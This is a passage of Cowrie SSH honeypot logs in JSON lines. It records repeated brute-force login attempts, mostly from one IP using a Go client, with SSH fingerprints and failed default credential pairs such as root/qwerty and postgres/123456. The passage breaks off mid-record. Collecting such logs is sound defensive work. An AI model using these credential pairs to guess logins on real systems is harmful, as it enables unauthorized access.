{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:04.019462Z","src_ip":"95.38.165.118","session":"8739ca145835","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:04.819761Z","src_ip":"95.38.165.118","session":"8739ca145835","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:05.998290Z","src_ip":"95.38.165.118","session":"8739ca145835","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":43094,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef80d0dfa1f8","protocol":"ssh","message":"New connection: 95.38.165.118:43094 (10.17.0.5:22) [session: ef80d0dfa1f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:08.916328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:08.921841Z","src_ip":"95.38.165.118","session":"ef80d0dfa1f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:09.094478Z","src_ip":"95.38.165.118","session":"ef80d0dfa1f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:09.627683Z","src_ip":"95.38.165.118","session":"ef80d0dfa1f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:10.801096Z","src_ip":"95.38.165.118","session":"ef80d0dfa1f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":43098,"dst_ip":"10.17.0.5","dst_port":22,"session":"87d3a394238a","protocol":"ssh","message":"New connection: 95.38.165.118:43098 (10.17.0.5:22) [session: 87d3a394238a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:14.041896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:14.047512Z","src_ip":"95.38.165.118","session":"87d3a394238a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.76917552947998,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:14.066772Z","src_ip":"69.4.83.194","session":"568995f741ed","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:14.230172Z","src_ip":"95.38.165.118","session":"87d3a394238a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:14.748546Z","src_ip":"95.38.165.118","session":"87d3a394238a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:16.064917Z","src_ip":"95.38.165.118","session":"87d3a394238a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":39940,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a58dea50f62","protocol":"ssh","message":"New connection: 95.38.165.118:39940 (10.17.0.5:22) [session: 6a58dea50f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:19.264862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:19.269620Z","src_ip":"95.38.165.118","session":"6a58dea50f62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:19.576831Z","src_ip":"95.38.165.118","session":"6a58dea50f62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:20.374277Z","src_ip":"95.38.165.118","session":"6a58dea50f62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:21.983831Z","src_ip":"95.38.165.118","session":"6a58dea50f62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":39946,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff974bc4dcb5","protocol":"ssh","message":"New connection: 95.38.165.118:39946 (10.17.0.5:22) [session: ff974bc4dcb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:24.619180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:24.625218Z","src_ip":"95.38.165.118","session":"ff974bc4dcb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:24.787565Z","src_ip":"95.38.165.118","session":"ff974bc4dcb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:25.288107Z","src_ip":"95.38.165.118","session":"ff974bc4dcb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:26.452407Z","src_ip":"95.38.165.118","session":"ff974bc4dcb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":46772,"dst_ip":"10.17.0.5","dst_port":22,"session":"b28aec0de457","protocol":"ssh","message":"New connection: 95.38.165.118:46772 (10.17.0.5:22) [session: b28aec0de457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:29.510088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:29.514762Z","src_ip":"95.38.165.118","session":"b28aec0de457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:29.678188Z","src_ip":"95.38.165.118","session":"b28aec0de457","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:30.275062Z","src_ip":"95.38.165.118","session":"b28aec0de457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:31.443138Z","src_ip":"95.38.165.118","session":"b28aec0de457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":49006,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c6eea61af48","protocol":"ssh","message":"New connection: 176.32.39.21:49006 (10.17.0.5:22) [session: 2c6eea61af48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:32.930276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:32.972605Z","src_ip":"176.32.39.21","session":"2c6eea61af48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:33.150106Z","src_ip":"176.32.39.21","session":"2c6eea61af48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cfvehfq","message":"login attempt [root/cfvehfq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:33.744080Z","src_ip":"176.32.39.21","session":"2c6eea61af48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":46786,"dst_ip":"10.17.0.5","dst_port":22,"session":"860903777921","protocol":"ssh","message":"New connection: 95.38.165.118:46786 (10.17.0.5:22) [session: 860903777921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:34.738022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:34.770867Z","src_ip":"95.38.165.118","session":"860903777921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:34.876954Z","src_ip":"176.32.39.21","session":"2c6eea61af48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:34.912629Z","src_ip":"95.38.165.118","session":"860903777921","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:35.616617Z","src_ip":"95.38.165.118","session":"860903777921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:37.222881Z","src_ip":"95.38.165.118","session":"860903777921","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":56870,"dst_ip":"10.17.0.5","dst_port":22,"session":"2900f1ecf696","protocol":"ssh","message":"New connection: 95.38.165.118:56870 (10.17.0.5:22) [session: 2900f1ecf696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:40.024998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:40.030131Z","src_ip":"95.38.165.118","session":"2900f1ecf696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr